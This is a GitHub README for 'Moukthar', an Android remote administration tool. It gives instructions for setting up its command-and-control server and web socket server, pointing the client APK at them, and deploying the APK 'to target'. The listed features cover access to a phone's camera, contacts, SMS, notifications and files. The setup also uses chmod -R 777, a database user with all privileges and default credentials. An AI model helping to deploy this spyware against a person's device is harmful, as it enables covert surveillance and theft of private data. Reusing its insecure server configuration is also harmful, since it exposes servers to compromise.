Skip to content

Tomiwa-Ot/moukthar

Folders and files

NameName
Last commit message
Last commit date

Latest commit

3625345 · Feb 8, 2025
Mar 11, 2024
Jan 24, 2025
Feb 8, 2025
Nov 18, 2024
Mar 4, 2024
Feb 12, 2024
Jan 13, 2025

Repository files navigation

Moukthar

Remote adminitration tool for android

Features

Tutorial Video

Installation

  • Clone repository
    git clone https://github.com/Tomiwa-Ot/moukthar.git
  • Install php, composer, mysql, php-mysql driver, apache2 and a2enmod
  • Move server files to /var/www/html/ and install dependencies
    mv moukthar/Server/* /var/www/html/
    cd /var/www/html/c2-server
    composer install
    cd /var/www/html/web-socket/
    composer install
    cd /var/www
    chown -R www-data:www-data .
    chmod -R 777 .
    The default credentials are username: android and password: android
  • Create new sql user
    CREATE USER 'android'@'localhost' IDENTIFIED BY 'your-password';
    GRANT ALL PRIVILEGES ON *.* TO 'android'@'localhost';
    FLUSH PRIVILEGES;
  • Set database credentials in c2-server/.env and web-socket/.env
  • Execute database.sql
  • Start web socket server or deploy as service in linux
    php Server/web-socket/App.php
    # OR
    sudo mv Server/websocket.service /etc/systemd/system/
    sudo systemctl daemon-reload
    sudo systemctl enable websocket.service
    sudo systemctl start websocket.service
  • Modify /etc/apache2/sites-available/000-default.conf
    <VirtualHost *:80>
          ServerAdmin webmaster@localhost
          DocumentRoot /var/www/html/c2-server
          DirectoryIndex app.php
          Options -Indexes
    
          ErrorLog ${APACHE_LOG_DIR}/error.log
          CustomLog ${APACHE_LOG_DIR}/access.log combined
    </VirtualHost>
    
  • Modify /etc/apache2/apache2.conf
      Comment this section
      #<Directory />
      #       Options FollowSymLinks
      #       AllowOverride None
      #       Require all denied
      #</Directory>
    
     Add this
      <Directory /var/www/html/c2-server>
          Options -Indexes
          DirectoryIndex app.php
          AllowOverride All
          Require all granted
      </Directory>
  • Increase php file upload max size /etc/php/*.*/apache2/php.ini
    ; Increase size to permit large file uploads from client
    upload_max_filesize = 128M
    ; Set post_max_size to upload_max_filesize + 1
    post_max_size = 129M
  • Set web socket server address in <script> tag in c2-server/src/View/home.php and c2-server/src/View/features/files.php
    const ws = new WebSocket('ws://IP_ADDRESS:8080');
  • Restart apache using the command below
    sudo a2enmod rewrite && sudo service apache2 restart
  • Set C2 server and web socket server address in client functionality/Utils.java
    public static final String C2_SERVER = "http://localhost";
    
    public static final String WEB_SOCKET_SERVER = "ws://localhost:8080";
  • Compile APK using Android Studio and deploy to target

Screenshots

Login Dashboard Installed Apps Camera Contacts Files Notifications SMS Video

TODO

  • Auto scroll logs on dashboard
  • Screenshot not working
  • Image/Video capturing doesn't work when application isn't in focus
  • Downloading files in app using DownloadManager not working
  • Listing constituents of a directory doesn't list all files/folders